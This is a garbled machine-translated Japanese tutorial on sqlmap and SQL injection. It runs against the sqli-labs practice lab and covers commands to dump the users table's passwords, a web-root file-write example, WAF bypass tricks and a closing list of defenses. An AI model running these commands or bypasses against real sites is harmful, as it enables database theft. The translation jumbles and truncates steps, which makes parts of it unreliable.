1. SQL インジェクションの基本的なステートメントについては前にいくつか説明しましたが、手動インジェクションは非常に面倒です。 SQL インジェクション。データを取得するツール。
2. sqlmap の概要
(1)#sqlmap は、SQL インジェクションの脆弱性と
を自動的に検出して悪用できるオープン ソースの侵入テスト ツールです。インターフェース データベースに入るサーバー。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。
公式 Web サイト: sqlmap.org
(2)#サポートされるデータベース:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、IBM DB2、SQLite、Firebird、Sybase、SAP MAXDB。
#エラーベースの SQL インジェクション (エラーベースのインジェクション)
# ブールベースのブラインド SQL インジェクション (ブール インジェクション)
#時間ベースのブラインド SQL インジェクション (時間遅延インジェクションに基づく)
#スタック クエリ SQL インジェクション (マルチステートメント クエリ インジェクション)
python,# と入力します。 ##次のプロンプトはインストールが成功したことを示します
C:\Users\ Administrator>python
Python 2.7.16
(v2.7.16:413a49145e, Mar 4 2019, 01:37:19) win32 の [MSC v.1500 64 ビット (AMD64)]詳細については、「ヘルプ」、「著作権」、「クレジット」、または「ライセンス」と入力してください。 >>> exit();
(5) sqlmap テスト: cmd コマンド ラインを入力し、sqlmap.py -h (パスに注意してください) C:\ Users\Administrator\sqlmap>
sqlmap.py -h #ヘルプ情報を表示
#(1) ライブラリ名、カラム名、権限の取得
--dbs #すべてのデータベースの取得
##--dbms mysql #データベースの種類を指定します--users #すべてのデータベース ユーザー ( データベースのローカル ユーザー名)
--banner #データベース識別の取得
#sqlmap は多くの干渉文字を検出できません。閉じるときに、プレフィックスとサフィックスを手動で指定できます
select * from users where id=((( '1 '))) および 1=1
#--prefix=PREFIX ペイロード文字列を挿入します prefix
--suffix=SUFFIXペイロードの挿入文字列サフィックス
例: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
#(3) 結果のエクスポート:
##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one. php "
##--dump データのエクスポート
#Less-1--Less65 の一般的なステートメント (これらは最も一般的に使用されるパラメータであるため、理解しておく必要があります)
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms= mysql --batch
# 分析:-u に続く URL はテスト URL を示します
--dbms は、指定されたデータベース タイプが mysql であることを意味します
--batch は自動的に取得することを意味します-D security --tables は指定されたデータベースのテーブルを次のように取得することを意味しますsecurity Name-D security -T users --columns は、指定されたデータベースの users テーブルの列名を security-D security -T users -C username,password として取得することを意味します--dump # セキュリティ ライブラリとユーザー テーブルのユーザー名とパスワード フィールドのデータ情報を取得します。 --dump は結果を表示することを意味しますResult:
#[*]チャレンジ[*] dvwa
[*] information_schema[*] mysql
[*] owasp[*] Performance_schema[*] security[*] テスト
#(2) 現在のライブラリ名を取得します
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less- 1?id=1" --current -db --batch
#結果:
#(3) を取得します。現在のテーブル名
C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
# 結果:
データベース:セキュリティ[4 テーブル] ----------
| メール |
| uagents || users | ----------
#(4) 現在の列名を取得
C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch
データベース: セキュリティテーブル: ユーザー[3 列]
---------- ---- ---------
---------- ------------- | id | int (3) || パスワード | varchar (20) |
| ユーザー名 | varchar(20) |
---------- ----------- --
#(5) users テーブルのユーザー名とパスワードの内容を取得します。
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http:/ /localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch
結果:
データベース:セキュリティテーブル: ユーザー[13 エントリ ]
---------- ------------
---------- --- --------- | バカ | バカ || アンジェリーナ | 殺すよ |
| ダミー | p@ ssword |
| 安全 | くだらない |
| 愚か | 愚かさ |
| スーパーマン | 天才 |
| バットマン | 暴徒 |
| 管理者 | 管理者 |
| 管理者 1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumpo |
| admin4 | admin4 |
---------- --- ---------
パート 2: SQL インジェクションの WAF バイパス
2.1 SQL インジェクションの WAF バイパス方法の概要
注: こここれらはバイパス方法を説明するための単なる例であり、実際のシナリオはより複雑です。複雑です。複数のバイパス方法を混合してエンコードすることができます。
#(2) and or or
## のフィルタ
(3) フィルタの選択または結合#(2)mysql は 16 進数をサポートしており、16 進数または URL エンコーディングを使用します;
#(3)単語を記号で置き換えます = ==> 記号のバイパスand(&&) or(||)
#(4) インライン コメントと複数行コメント===>デリケートな言葉でコメントを追加する a/**/nd 二重書き込みバイパス oORr
3. もちろん他の方法もあります。これらのフィルタリング方法を例として、バイパス方法について説明します。
waf があります。
1. アノテーションをフィルタリングします (例として 23 未満)
#(1) コメント文字をフィルタリングする理由: 通常の SQL ステートメントでは、コメント文字は説明的な役割を果たします。ただし、SQL インジェクションの脆弱性を悪用する過程で、コメント文字は一重引用符、複数の一重引用符、二重引用符、一重括弧、および複数括弧を閉じる役割を果たします。
単一行のコメント: -- または --space または
#複数行のコメント: /* 複数行のコメントの内容* /
#(2) フィルター関数 preg_replace
preg_replace(mixed $pattern,mixed $replacement,mixed $subject): 正規表現による検索と置換を実行します。
$pattern: 検索するパターン。文字列または文字列配列にすることができます。
$replacement: 置換に使用される文字列または文字列配列。
$subject: 検索および置換されるターゲット文字列または文字列配列。
#(3) コメント文字をバイパスします:
コメント文字を使用してフィルタリングすると、一重引用符などを正常に閉じることができません。別の考え方を使用して、または '1 '='1 閉じ一重引用符など。
http://127.0.0.1/sqli/Less-23/?id=-1' 共用体選択 1,database(),'3
2。フィルター処理された and or or をバイパスするにはどうすればよいですか? (例として Less-25)
(1) ソース コード分析: or または and が空の
# に置き換えられていることがわかります。
##(2) 操作手順 3. フィルターされたスペースをバイパスするには? (例として Less-26)(1)使用する スペースとして機能するには 4. フィルタリングされた選択/共用体をバイパスするにはどうすればよいですか? (Less-27 が例です)
#パート 3: SQL インジェクション防御
#(1)、エラー プロンプトをオフにします: PHP 設定ファイル php.ini の display_errors=Off
# (2)、マジック クオート (addslashes と同じ効果): php.ini の場合、magic_quotes_gpc=の上。送信された変数内のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ (\)、および NUL (NULL 文字) は、バックスラッシュを含むエスケープ文字に自動的に変換されます#(3)、データをフィルターします。 、and/or/union
#(4) などの一般的なキーワードをフィルタリングします。データベースに接続するためのユーザー権限を制御します。各ライブラリは 1 つのライブラリに対して管理者を設定します。root 権限は使用しません。
#( 5)、前処理とパラメータ化 (PDO): データを単純に「結合」するのではなく、ユーザーから渡されたパラメータを処理してブール値を返すことで、SQL インジェクションを回避します。
#(6) ハードウェア保護対策 (WAF)およびその他のハードウェア)
以上がSQLMap と SQLi インジェクション防御を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。